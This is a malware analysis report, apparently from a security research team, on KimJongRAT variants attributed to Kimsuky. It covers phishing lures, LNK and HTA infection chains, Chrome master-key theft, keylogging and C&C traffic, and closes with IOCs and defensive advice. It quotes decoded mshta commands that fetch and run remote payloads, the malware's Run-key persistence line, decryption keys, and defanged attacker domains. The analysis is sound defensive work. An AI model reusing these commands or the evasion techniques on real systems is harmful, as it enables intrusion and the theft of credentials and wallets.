
Executive Summary
Variants of the KimJongRAT malware family have been consistently identified since the 2010s.
Upon execution via phishing emails, modular malware components exfiltrate sensitive victim data, including system configuration and browser artifacts.
The malware extracts the master key from Chromium-based browsers to decrypt sensitive browser data.
Identification of GitHub and cloud storage infrastructure enabled rapid tracking of successive malware variants.
Additional spear-phishing waves and related infrastructure linked to the same attaker were identified.
1. Overview
Since the 2010s, KimJongRAT has continued to surface in the wild. First designated in 2013, KimJongRAT has been consistently attributed to DPRK-nexus threat actor Kimsuky.
Recently, the attacker employed KimJongRAT variants that contain only data‑theft logic while omitting C&C communication logic, distributing two branches of malware: a PE executable and a PowerShell script. ENKI WhiteHat Threat Research Team has continuously tracked this activity, identifying new infrastructure and related campaigns by the same actor.
During tracking, we obtained multiple phishing emails, confirming the use of social engineering to prompt execution. The attacker abused GitHub to distribute malware, selecting either a PE executable or a PowerShell script based on predefined criteria.

caption - Overview of attacker activity
2. Background
2.1. KimJongRAT
KimJongRAT was first named in a 2013 report by malware.lu, which collected various browser and system information to exfiltrate to its C&C server. The report raised the possibility of links to a DPRK-nexus threat actor, based on the following observations:
The author name recorded in the PDF file corresponds to the names of Kim Jong-un’s brothers.
The resource section’s language information is set to Korean.
The Gmail password recovery question appears in Korean.
2.2. Links Between KimJongRAT Variants and Kimsuky
In 2019, analysts identified ties between the BabyShark campaign, which used North Korea–themed decoy files, and KimJongRAT. According to Unit 42, BabyShark stored collected data to the same file path as KimJongRAT, and freshly compiled KimJongRAT samples appeared alongside BabyShark during the attacker’s AV testing. Also, BabyShark has since been attributed to Kimsuky.
Unit 42’s recent report also disclosed KimJongRAT variants that execute either PE or PowerShell payloads. A PDB path observed in the PE-executing variant aligns with the "Covaware" PDB path referenced in ESTSecurity’s 2019 report on "Operation Giant Baby".
"Operation Giant Baby" is a successor of "Operation Baby Coin" reported by ESTSecurity in 2018, overlapping with prior Kimsuky activity in export functions and DLL naming. ESTSecurity categorized it as the same type of operation as the BabyShark campaign.
3. Analysis of KimJongRAT Variant Attacks

caption - Malware Distribution Overview
3.1. Initial Access and Malware Distribution
3.1.1 Email & LNK
We identified phishing emails impersonating South Korean public institutions, the Ministry of Gender Equality and Family and the National Tax Service, emphasizing imminent verification deadlines to prompt recipients to click the embedded links. Both emails were sent using PHPMailer, an open-source SMTP library.

caption - Phishing Email Impersonating the Ministry of Gender Equality and Family

caption - Phishing Email Impersonating the National Tax Service
The detailed properties of the email files are shown in the table below.
caption - Email File Details
When the "Go to verify" button is clicked, the C&C server redirects to the GitHub hosted download link passed in the “ru” parameter. The victim’s email address is passed in the m parameter. The URLs identified in the email files are as follows.
https://natezlx.myvnc[.]com/docs/?ru=https://github.com/microstrategy743/dev/releases/download/v1.0/sexoffender.zip&m=[base64 encoded victim’s email address]
https://natezlx.myvnc[.]com/docs/?ru=https://github.com/microstrategy743/dev/releases/download/v1.0/tax_bill.zip&m=[base64 encoded victim’s email address]
The GitHub account information used for malware distribution is summarized in the table below.
caption - GitHub Account Information
The attacker uploaded the malware to Releases, where history, such as commit logs, is not recorded.

caption - microstrategy743 Releases
The downloaded file is an ZIP archive containing a decoy document, “성범죄자 신상정보 고지.pdf”("Sex Offender Information Notification.pdf"), and a malicious shortcut, “암호.txt.lnk”("password.txt.lnk"). In some cases, the decoy document is “국세 고지서.pdf”("National Tax Notice.pdf").

caption - Compressed File List
Earlier variants disguised the LNK as a PDF (e.g., "National Tax Notice.pdf.lnk"), whereas the current variant password‑protects the decoy and prompts execution of "password.txt.lnk".

caption - Password Prompt Appears When Executing Decoy Document
Executing "password.txt.lnk" runs a command encoded in Base64.

caption - LECmd Analysis Results
The decoded command downloads and executes a payload via mshta. The attacker leveraged a Korean URL shortener service.
Decoded command: mshta https://link24[.]kr/HSXrWzV

caption - Final Destination URL
In September 2025, .doc documents were observed in attacks. When opened, the document prompts the user to enable macros. Upon consent, a VBScript script embedded within the document is executed via the ShellExecute macro.

caption - DOC Document Content
The VBScript script is obfuscated using a technique that converts all characters to ASCII code points and substitutes them through decimal and hexadecimal arithmetic. A deobfuscation script titled "HTA Deobfuscation" is attached.

caption - Obfuscation Example
The obfuscated VBScript script invokes a Base64‑encoded PowerShell script using the powershell -e option. The command executed after Base64 decoding is as follows.
mshta https://buly[.]kr/EooX5dX
At the time of analysis, we were unable to obtain the payload, as the buly[.]kr URL‑shortening service was inactive. However, based on filename correlations and upload dates on VirusTotal of artifacts used in the attack, it appears the payload is retrieved as "doc.hta" from GitHub Releases.
The .doc file’s metadata records a last saved date of September 2, and the last author is recorded as "wang". The code page is set to "949", indicating Korean.

caption - DOC Document Information
3.1.2 HTA File
The downloaded "pw.hta", "doc.hta", and "kyc.hta" files are obfuscated using the same technique as the previous stage VBScript script. Although the top‑level decoy documents differ, all HTA files were functionally identical.
Upon execution, "pw.hta" downloads "password.txt" from Google Drive, which contains the decoy document’s password, saves it to the "%temp%" path, and opens it. The Google Drive owner is naver.accounnt.noreply@gmail[.]com, and all Google Drive documents used in this campaign are owned by this account.
The password.txt download URL and the decoy document passwords are as follows.
URL: https://drive.google[.]com/uc?export=download&id=1kFyBMQdmMvhiu3j9-rTjgV2nVeYGr_fZ
Password: "kfgxl;Y859$#KG4fkdl^&"
When the password is entered to open the document, the original content becomes visible.
caption - Malware and Decoy Document Information
After opening "password.txt", the script runs the command "cmd /c sc query WinDefend", and parses the output for the string "STOPPED", to determine the state of the Windows Defender service. Based on the service state, the flow branches to download and AES‑decrypt either "v3.log" or "pipe.log".
The artifact "v3.log" decrypts to "v3.hta", and "pipe.log" decrypts to "pipe.zip". Detailed attributes for each file are summarized in the following table.
caption - Downloaded File Details
The AES key and IV used for decryption are as follows.
AES Key: ftrgmjekglgawkxjynqrwxjvjsydxgjc
AES IV: rhmrpyihmziwkvln
3.2. PE Malware

caption - PE File Type Execution Overview
"v3.hta" locates two embedded strings within itself that begin with "bPgkTBt0" and "TvqQAAMAAA", respectively. It then Base64‑decodes and writes them to "%localappdata%\user.txt" and "%localappdata%\sys.dll". Next, it invokes an export function from "sys.dll" via rundll32.

caption - Base64 Encoded Data
3.2.1. sys.dll
The attacker primarily distributed "sys.dll" packed or obfuscated with commercial tools such as Themida, UPX, and Enigma. However, use of the original unpacked binary has also been observed. This section covers analysis of an unpacked "sys.dll" compiled on August 7.

caption - sys.dll Information
After "sys.dll" starts, anti‑VM checks run; if any condition is met, the malware deletes itself and terminates:
Presence of the device "VBoxMiniRdrDN"
Existence of registry key "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
Registry value "HKLM\SYSTEM\HardwareConfig\Current\SystemManufacturer" equals "Microsoft Corporation"
Registry value "HKLM\SYSTEM\HardwareConfig\Current\BIOSVendor" equals "Microsoft Corporation"
Registry value "HKLM\SYSTEM\HardwareConfig\Current\SystemFamily" equals "Virtual Machine"
Registry value "HKLM\SYSTEM\HardwareConfig\Current\SystemProductName" equals "Virtual Machine"
To prevent duplicate execution, the malware creates a mutex. The mutex name is as follows.
gjurkn

caption - Mutex Creation Routine
If the file "%localappdata%\notepad.log" does not exist, it RC4‑decrypts user.txt. The RC4 routine uses the first 16 bytes of the encrypted file as the key to decrypt the remaining payload. A decryption script is provided in the appendix "RC4 Decryption."

caption - user.txt Decryption Routine
The decrypted "user.txt" contains three Google Drive URLs from which additional modules are fetched.
caption - user.txt URL Information
The malware then downloads "app64.log" and "net64.log" in sequence, injecting each into chrome.exe and into itself, respectively. The file "main64.log" is retrieved last—only after the output artifact from "net64.log" is produced—and is likewise injected into the current process for execution.
3.2.2. app64.log
"app64.log" is the first file downloaded and executed which is a master‑key extraction tool for Chrome App‑Bound Encryption (ABE). "sys.dll" retrieves "app64.log" from Google Drive and saves it as "%localappdata%\app." After RC4 decryption, it is injected into a chrome.exe process running at Low or Untrusted integrity level.

caption - app64.log download and injection routine
The decrypted app64.log is a DLL that retains a PDB file path. The identified PDB path is as follows.
E:\Test\AppBound\Bin\reflective_dll.pdb

caption - Decrypted app64.log Information
The attacker built this module on top of a publicly available tool hosted on GitHub. The upstream tool is designed to extract sensitive data from Chromium browsers, such as cookies, passwords, and payment information, and uses reflective DLL injection to evade security products.

caption - ChromElevator (Browser Sensitive Data Decryption Tool)
After injection, the entry function ReflectiveLoader first resolves base addresses for kernel32 and ntdll and locates required APIs by comparing against its own ROR‑derived hashes. Using the resolved API addresses, it manually loads the DLL into newly allocated memory and invokes DllMain.

caption - DLL Base Searching Logic - Left) app64.log, Right) ChromElevator
It then extracts the encrypted master key from each browser’s Local State file. Chromium‑based browsers store the master key used to encrypt sensitive artifacts in the Local State file, protected with Windows DPAPI and Base64‑encoded. The malware restores the master key by invoking the browser’s local COM server decryption method.

caption - COM Client Session Setup Logic - Top) app64.log, Bottom) ChromElevator
The recovered master key is saved as "%temp%\cc_appkey" or "%temp%\ee_appkey," depending on the browser. Unlike the upstream tool, which proceeds to decrypt sensitive data using the key, the attacker’s module is limited to master‑key recovery.
3.2.3. net64.log
The file "net64.log" is RC4‑decrypted and executed in memory. "net64.log" is derived from a modified KimJongRAT infostealer codebase and is responsible for collecting various categories of sensitive data from the system.

caption - net64.log Download and Execution Routine
In this case, the decrypted DLL "net64.log" is packed with UPX.

caption - Decrypted net64.log File Information
After restoring obfuscated API names, the malware stores the GetProcAddress return values in global variables. Subsequent API invocations call the addresses saved in these globals.

caption - API Name Deobfuscation and Loading Routine
API name obfuscation is implemented as a monoalphabetic substitution scheme, and all strings share the same substitution table. The script used for string substitution/deobfuscation is provided in the appendix "String Deobfuscation."
System Information Collection
During system information collection, the malware queries the Windows version by reading the CurrentVersion value under "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion," then accesses the appropriate registry paths corresponding to the detected version. "[system]" is used as the identifier, and per‑version registry paths are summarized in the following table.
caption - Registry Paths Accessed During System Information Collection
Additionally, the Windows version is verified using the GetVersionExA, GetSystemInfo, and GetSystemMetrics APIs, as well as the registry value "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions\ProductType". Finally, the GetCPUInfo function issues the cpuid instruction to collect the CPU name.

caption - System Information Collection Routine
Process Information Collection
The malware enumerates the full process list, then filters out processes owned by the SYSTEM account to compile a list of non‑SYSTEM processes along with their owning user identities. The identifier "[process]" is used.

caption - Process Information Collection Routine
Installed Software Information Collection
The malware enumerates the "%Programs%" directories in both the Common and User Start Menu locations, recording subdirectory names and filenames with the .lnk extension. The directories Accessories, Games, Administrative Tools, and Startup are excluded from collection. The identifier "[programs]" is used to tag the results.

caption - Installed Software Information Collection Routine
Mail Account Information Collection
The malware queries registry values for each mail client type to collect account and profile information. It also harvests data from the FileZilla FTP client. The identifier "[mails]" is used to tag these records, and the targeted account and profile data types are as follows.
Outlook
IncrediMail
Thunderbird
GroupMail
FileZilla

caption - Mail Account Information Collection Routin
Browser Credential and Cookie Collection
For each browser type, the malware collects sensitive data files and decrypts stored login credentials per web service. Then uses hard‑coded SQL queries to extract credentials from the collected databases.
During credential decryption, it uses the master key restored by "net64.log" via the CryptUnprotectData API, rather than the master key extracted by the newly added "app64.log". The identifier "[web]" is used for this dataset, and the stored credential fields are as follows.
Login URL
ID
Decrypted Password
Browser Name
Login Info Storage Date

caption - Web Credential Collection Routine
Cookie data is collected alongside credentials. The malware extracts cookies from Chrome, Edge, Whale, and Firefox, recording the total count and storing results per browser. Cookie extraction also relies on hard‑coded SQL queries, and the identifier "[Cookies]" is used to label this dataset.
Additional File Collection and Archiving
A temporary directory is created with the prefix "nsv," into which the following data is aggregated and then archived as "micro.log.zip".
micro.log (all information collected by net64.log up to this stage)
Original sensitive data files from Chromium‑based browsers
Original sensitive data files for Exodus/Telegram/Discord
GPKI and NPKI files
ext.log (list of extension IDs from all browsers)

caption - Additional File Collection Routine
3.2.4. main64.log
The "sys.dll" module repeatedly calls Sleep(1000) and waits until "net64.log" has produced the archive "micro.log.zip". Once the archive is present, it downloads "main64.log" from Google Drive, RC4‑decrypts it, and executes it in memory.

caption - main64.log Download and Execution Routine
"main64.log" is not packed, and shares the same toolchain metadata as "sys.dll," indicating both artifacts were likely built in the same environment.

caption - Decrypted main64.log Information
Upon DLL load, “main.log” initializes a victim identifier and establishes persistence. The malware queries the volume serial number via GetVolumeInformationA and uses it as the victim identifier. If the query fails, it constructs an identifier by Base64‑encoding the string "[ComputerName]_[UserName]". The C&C domain used for communications are as follows.
kzloly.nmailhub[.]com
The malware then registers an autorun registry entry to ensure "sys.dll" executes after reboot.
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\NetService: "rundll32 %localappdata%\sys.dll,s"

caption - Autorun Registry Registration Routine
"main64.log" spawns four threads that perform the following tasks:
Collect additional information and communicate with the C&C server
Capture clipboard data
Perform keylogging
Append keylog collected by 3 to the "netkey" file
C&C Communication
The C&C communication thread runs every 10 minutes to upload exfiltrated data, handle file upload/download, execute remote commands, and perform malware updates.
For file uploads, the malware XORs the entire file with 0xFE, stores it as "%temp%\{filename}_", and transmits it to the C&C. It sends a multipart POST request to the C&C root directory with the victim identifier as the "id" field and the file embedded as the binary part "file0". As an exception, the "netkey" file is sent via a regular POST with the payload embedded as "val" field.

caption - XOR Encryption Routine
Uploaded files are stored on the C&C in the path "/{victim_id}/{filename}". The uploaded files and their attributes are summarized in the following table.
caption - Uploaded File Information
The file "history.log" is generated by the "main64.log" module and includes:
IP
Computer Name
User Name
Drive Information
Operating System Information
List of Installed Software
CPU Information
The file "netlist.log" contains a list of file extensions and file system information collected via hard‑coded cmd commands. The commands traverse drives, enumerate files matching specific extensions or keywords. For the C: drive, extract all subdirectory listings under the extensions path.
The target extensions and keywords for listing are as follows.
Extensions - hwp, pdf, doc, docx, xls, xlsx, zip, rar, egg, txt, jpg, png, jpeg, alz, ldb, log
Keywords - wallet, UTC--*
For C&C communications, the malware uses specific endpoints and branches behavior based on responses. Requests are formatted as "[C&C domain]/[victim_id]/[endpoint]," and all response data is RC4‑decrypted using the first 16 bytes as the key. Upon successful receipt and processing, the malware transmits the string "delete", which appears to instruct the C&C to remove the corresponding server‑side data.
The set of request endpoints and their functions are summarized in the following table.
caption - Endpoint Information
Clipboard Data Collection
The clipboard collection thread runs every 0.05 seconds and captures the most recent clipboard contents. when the internal ROR hash of the new data differs from the previous hash, the data are appended to "%localappdata%\netkey". After each append, the file’s created, accessed, and modified timestamps are reset to match those of rundll32 to mask activity.
Clipboard Hash Algorithm
Initialize hash to 0.
Increment the current hash by 1, then apply a 32‑bit ROR by 13.
Add the ASCII value of the current character.
Repeat the previous two steps for all characters from start to end.

caption - Clipboard Data Hash Calculation Routine
Keylogging
The keylogging thread executes every 0.001 seconds, recording keystrokes in a global buffer. If the active window title changes, the new title is also stored.

caption - Keylogging Routine
Append Keylog to "netkey" File
Every 10 seconds, a thread appends the buffered keylog to "%localappdata%\netkey". After appending, the thread clears the global buffers, and resets the file’s created, accessed, and modified timestamps to those of rundll32 to conceal recent writes.

caption - Keylog Saving Routine
3.3. Powershell Script Malware

caption - PowerShell Script Malware Execution Flow
If Windows Defender is running, the malware downloads "pipe.zip" and ultimately runs a malicious payload implemented as a PowerShell script. The archive contains four files: "1.log", "1.ps1", "1.vbs", and "2.log". Among these, "1.ps1" is invoked with the argument "-FileName 1.log".

caption - Files Contained in pipe.zip
3.3.1. 1.ps1
The script "1.ps1" Base64‑decodes the file specified via the FileName argument and executes the decoded content.

caption - Decoding and Execution Routine
3.3.2. 1.log
The file "1.log" serves as the main payload. Immediately after execution, it uses the computer’s UUID as an id to create a directory under "%Temp%", then configures working paths and C&C endpoints for subsequent operations. It also creates "pid.txt" in "%Temp%" to prevent multiple concurrent instances. The hard‑coded C&C server domain is as follows.
quemr.mailhubsec[.]com

caption - Initialization Routine
Anti VM
If the computer manufacturer name contains VMware, Microsoft, or VirtualBox, the script invokes a KillMe routine that deletes all previously extracted files and terminates the process.

caption - VM Detection Routine
Persistence
Persistence is achieved by the RegisterTask function, which registers the file "1.vbs" under the registry value "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSecurityCheck". The script "1.vbs" switches the current working directory to "%localappdata%\pipe" and launches "1.ps1" with the argument "-FileName 1.log".

caption - Persistence Establishment Routine
System Information Collection
The Init function collects various system details and writes them to "%temp%\{UUID}\info.txt". If any disk name contains Virtual Disk, Virtual HD, VMware, or Google PersistentDisk, the function invokes KillMe to delete files and terminate the process. The collected items include:
NPKI and GPKI directories
Administrator status and UAC configuration
OS and CPU information
Disk and volume information
Process list
Installed software list
Recent File Collection
The RecentFiles function enumerates shortcut files under "%appdata%\Microsoft\Windows\Recent", resolves their target file paths, and writes the collected paths to "%temp%\{UUID}\recent.txt".

caption - Recent File Collection Routine
Browser Information Collection
The GetBrowserData function gathers browser‑specific information, such as extensions, user profiles, browsing history, and the corresponding master keys required to decrypt protected items. Target browsers are Edge, Chrome, Whale, and Firefox, and the extensions list from all browsers is consolidated into "%temp%\{UUID}\extensions.txt".
1. Edge, Chrome, Whale
Sensitive artifacts stored under "%localappdata%\[browser‑specific path]\User Data\" are collected and copied to "%temp%\{UUID}\". Filenames prefixed by the extracted browser name. The collected data include:
master key extracted and decrypted from Local State
per‑profile Login Data, Bookmark, Extensions, and cryptocurrency wallet information

caption - Edge Sensitive Data Collection Routine
For cryptocurrency wallets, a hash table of the form { extension_id : wallet_identifier } is constructed. When a key matches a directory name, the ldb and log files under that directory are copied to "%temp%\{UUID}\[browser]_[profile]_[wallet_identifier]_[filename]". The set of wallet targets and extension IDs is provided in the appendix "Extension ID".

caption - 32Cryptocurrency Wallet Data Extraction Routine
Firefox
Sensitive data stored under "%appdata%\Mozilla\Firefox\Profiles" is collected and written to "%temp%\{UUID}\". Filenames are prefixed with "Firefox", and the per‑profile collected data are as follows.
key4.db
key3.db
cookies.sqlite
logins.json

caption - Firefox Sensitive Data Collection Routine
The GetTelg function copies Telegram artifacts from "%appdata%\Telegram Desktop\tdata" into "%temp%\[UUID]\telg". It specifically targets the files within the "D877F783D5D3EF8C" directory that stores account authentication data, along with files in the root of the tdata directory.

caption - Telegram Artifact Collection Routine
The Send function compresses the "%temp%\[UUID]\" directory into "%localappdata%\init.zip", renames the archive to "init.dat," and uploads it to the server, including the UUID as the id parameter for identification. Because the subsequent CreateFileList step takes longer to gather file lists, the malware sends the data collected up to the GetTelg stage first.
If the upload succeeds, it deletes all directories and files under "%temp%{UUID}", as well as "%localappdata%\init.dat".

caption - Collected Data Compression and Transmission Routine
When transmitting files, it XORs the content with 0xFE before sending. If a file is large, it is uploaded in 4 MB chunks.

caption - Data Preparation for Transmission
The CreateFileList function collects the paths of files with specific extensions or name patterns across all drives (limited to the Users directory on the C drive), and saves them to "%temp%\{UUID}\FileList.txt". The file is compressed into "lst.zip," renamed "lst.dat," and then sent to the server. Targeted extensions and name patterns are listed below.
Extensions: txt, doc, csv, doc, docx, xls, xlsx, pdf, hwp, hwpx, jpg, jpeg, png, rar, zip, alz, eml, ldb, log
Keywords: wallet, UTC--, blockchain, keystore, privatekey, metamask, phrase, ledger, password, myether, dcent

caption - File Path Collection Routine
3.3.3. 2.log
The file "2.log" is the keylogging and clipboard collection module invoked by "1.ps1". Once started, it loops and writes the collected data to "%Temp%\[UUID]\k.log" at 60‑second intervals.

caption - Keylogging and Clipboard Collection Routine
After "1.ps1" completes its prior actions, it launches the Work function. It acts as a RAT and executes every 10 minutes, performing the following steps in sequence.
Transmit collected keylog and clipboard data.
Download Chrome Appbound Key from the C&C or collect via GetAppKey.
Download the file rd (which contains file paths) from the C&C and upload the corresponding files to the C&C.
Download the file wr (which contains file names) from the C&C and retrieve those files from the C&C.
Download the file cmd (which contains commands) from the C&C and execute those commands.
In effect, by placing rd, wr, and cmd on the C2, the attacker enables the Work function to interact with the server for file uploads, downloads, and remote command execution.
Within Work, the GetAppKey function downloads and executes a module that decrypts and exfiltrates the Chrome master key.

caption - AppBound Key Extraction and Exfiltration Routine
It downloads the same master‑key extraction DLL used in the PE‑file attack chain from Google Drive (saved as "nzvwan.log"), as well as the loader DLL "appload.log", which is Base64‑decoded and executed via rundll32.exe. The loader then injects the master‑key extraction DLL into a low‑privileged chrome process, mirroring the injection behavior of "sys.dll" in the PE variant.

caption - appload.log Injection Routine
4. Additional Attack Analysis
4.1. Login Phishing Attack
A Nate login phishing email was identified that shares the same sender and sender IP as the email used for initial intrusion. It warns of a suspicious login attempt from an overseas region and prompts a password change.
caption - Additional Email Information
Clicking the "Change password now" button redirects to the attacker’s login phishing page (https://natezlx.myvnc[.]com/?nxnx=change&m=[base64‑encoded email address]). This server matches the one identified in the KimJongRAT distribution email.

caption - Phishing Email
When accessed, the phishing page redirects to the /Login.sk endpoint and prompts for ID and password, claiming a re‑login is required for security.

caption - Login Prompt on Phishing Page
The phishing domain natezlx.myvnc[.]com resolves to 27.102.113[.]20, and additional phishing domains impersonating Naver and Kakao have been observed on the same IP.
All phishing pages observed at 27.102.113[.]20 are summarized in the table below.
caption - Full Phishing Page Information
The phishing page operates as a proxy that loads the legitimate login page while siphoning data passing between the victim and the page. On the Kakao phishing site, an attacker‑added Common.js overwrites the login title DOM element with "For security, identity verification is required," prompting a re‑login even when a session is already active.

caption - DOM Overwritting Routine
Comments written in Korean were also found in Common.js. The comment style appears to be in South Korean, but given the malicious behavior and its absence in the legitimate page, it remains possible that a North Korean attacker generated the code with an LLM.

caption - Korean Comment in Common.js
Data stolen via the proxy server are stored under the C2 server’s /log path, with filenames formatted as "[IP][log_type].txt". For Kakao phishing logs, even an "[IP].txt" log of email addresses is present.The information held in each log type is as follows.
The per‑log‑type contents are summarized in the table below.
caption - Log Information
Among the redirection URLs recorded in the _redir log, a GitHub Releases URL used for KimJongRAT distribution was identified. This indicates the attacker is currently attempting both KimJongRAT variant distribution and login phishing in tandem.
Additionally, we used SSL fingerprints to identify four IP addresses suspected of being used by the same attacker. All of them have been used in domains impersonating Naver, Kakao, or Nate, and some were previously used to distribute KimJongRAT variants. None appear to be in current use.
The SSL fingerprint used for attribution and the identified attacker IPs are listed below.
ssl fingerprint: 7d098f0f41601216ffd2e7f06da56c70f1e671da
27.102.113[.]170
27.102.113[.]107
27.102.113[.]209
183.111.226[.]13
4.2. Spear Phishing Attack
During the investigation, two types of spear‑phishing emails were obtained that download a .alz archive from IPs identified via the SSL fingerprint above. Although the sender addresses and IPs differ from prior cases, multiple metadata overlaps were observed, including the download URL format, sender‑side send times recorded as UTC −0700, and the use of PHPMailer version 6.9.1
Detailed information for the two attacks is provided in the table below.
caption - Attack Details
At the time of analysis, the malware distribution servers were inactive, and the currently active servers did not host the .alz file in question, so we were unable to obtain it.

caption - Spear phishing email masquerading as a cryptocurrency wallet file

caption - Spear phishing email masquerading as a billing statement
5. Course of Action
5.1. Verify file type before execution
Shortcut files with the LNK extension do not display their extension in Windows File Explorer. Attackers apply misleading extensions and icons so victims mistake malicious LNK files for legitimate files. In this case, the LNK launching a malicious script was disguised as a TXT file.
To prevent attacks leveraging malicious LNK files, confirm that a downloaded file is not a "Shortcut" before running it.

caption - LNK File Format Information
The small shortcut arrow overlay on the file icon also helps identify LNK files.

caption - LNK file icon arrow
5.2. Be cautious when prompted for extra actions
Threat actors increasingly nudge victims into performing extra steps that lower vigilance. In this report’s case, a PDF was password‑protected so the victim would naturally execute a malicious LNK named "password.txt."

caption - Password prompt displayed when opening the document
In a July 2025 operation attributed to Kimsuky, a manual document was distributed alongside a malicious PowerShell script, with the manual prompting victims to treat the script as an authentication code and run it manually.

caption - Document used in July attack
If a file obtained via email or external links prompts additional actions, stop immediately and reassess the source’s trustworthiness.
6. Conclusion
This report analyzes the latest attack flow of the KimJongRAT variant, first reported in 2013 and consistently observed in attacks targeting South Korea since 2018. Beginning in 2024, the attacker ran a new PowerShell script–based attack alongside the traditional PE‑based chain, and by summer 2025 merged the two into a single workflow. We examined the attacker’s activities in detail from initial access strategies and attack infrastructure to the malware’s update cadence.
Additional activity by the same attacker was identified, including phishing sites originally aimed at credential theft that have recently been coupled with the KimJongRAT variant distribution flow. Moreover, spear‑phishing emails referencing victims’ personal information indicate a broad campaign targeting residents of the Republic of Korea.
Furthermore, this analysis uncovered additional evidence supporting earlier reports that linked the KimJongRAT variant to the DPRK-nexus threat actor Kimsuky. Tactics such as crafting fake phishing sites to steal login data from South Korean users and conducting tailored spear‑phishing using victims’ personal information are hallmarks of Kimsuky. Indicators like the 949 code page in malicious DOC files and Korean comments in phishing site JavaScript also suggest the attacker.
Although many reports have analyzed similar threats over the long history of KimJongRAT‑based operations, the attacker’s continued development of variants and build‑out of infrastructure indicates that the attacks are successful. This underscores the need to accelerate threat‑intelligence sharing and strengthen security awareness across organizations and society.
7. Appendix
Appendix A. MITRE ATT&CK
Appendix B. IOCs
MD5
66c4e2dd235c4d8d31abaf96e051585e - KAIA+지갑+파일+및+주소+송부드립니다..eml
77f131bc8f660f85812c0d2e0da8e77e - [국세청]+회원님께+도착한+고지서를+확인하세요..eml
003ea91e9f52ecfdc3aadb2732e9b54c - [네이트]+해외+지역에서+로그인이+시도되었습니다..eml
e3a937869322cc4cd765fcbf16d5b9ea - [삼성카드]+회원님,+2025년+06월+16일+이용대금+명세서+입니다..eml
d69fbf23e7492618cadc63d171010cd8 - [여성가족부]+성범죄자+신상정보+고지+알림.eml
677e77265c7ba52e825fc62023942213 - app
5441d8a79411a261546beb1021cb5052 - appload
c69909ea3c131181fa7ae12155bcae17 - main64
f000df00a424cefcd8efff48ab167169 - net
76d2cbad8502dce9e70e501c2378d3ff - pipe.zip
2e8bf657d0301fb4c61e29f455d9058e - sys.dll
c0ee9a9046d82b294b3bf3bec997fc45 - v3.txt
172dc997ca6022ec8dff0842e4c7b887 - 성범죄자 신상정보 고지.pdf
d9ecf148c88bfd9791758b3be1a9f459 - 암호
8b6580e14b8164e28e684d48691ddf4d - KYC_Form.doc
C&C
142.11.248[.]98
27.102.113[.]20
natezlx.myvnc[.]com
nid-naverbpk.onthewifi[.]com
daumcyd.ddns[.]net
27.102.113[.]170
183.111.226[.]13
27.102.113[.]107
27.102.113[.]209
cdn.glitch[.]global
E-mail Sender
61.97.243[.]9
160.202.160[.]248
103.249.28[.]34
Google Drive URL
https://drive.google[.]com/uc?export=download&id=1kFyBMQdmMvhiu3j9-rTjgV2nVeYGr_fZ
https://drive.google[.]com/uc?export=download&id=12V4yQfKNkeA1W_FIkCpirhSO3dnA52Ni
https://drive.google[.]com/uc?export=download&id=1Mx-A2CPcotb_DDcKmIs9d3DCSjbLwLhM
https://drive.google[.]com/uc?export=download&id=1dWsR1EkV_oxaIrJhXiAmmzvJY8SDgNnu
https://drive.google[.]com/ucexport=download&id=1uhHhgt4EMMhWZr9b94dxll0aphOg7PYi
https://drive.google[.]com/uc?export=download&id=1_Z9I0D8M31-q7BKp_hs2TuY-kvlQH9D_
https://drive.google[.]com/uc?export=download&id=14J3_AavuDYmvlf32nqUQbNwz63Ym9Ph3
https://drive.google[.]com/uc?export=download&id=1J__fMPHg-imAvg6BTenO0AmZCNa-lOys
https://drive.google[.]com/uc?export=download&id=1PpxH3N-s87LZVCX7IBvLMpx56ABQ6CGn
Extension ID
Appendix C. Scripts
HTA Deobfuscation
Since deobfuscation is only for obfuscated part, the VBScript grammar analysis must be merged with the deobfuscation output to determine overall behavior.
RC4 Decryption
String Deobfuscation
Popular Articles








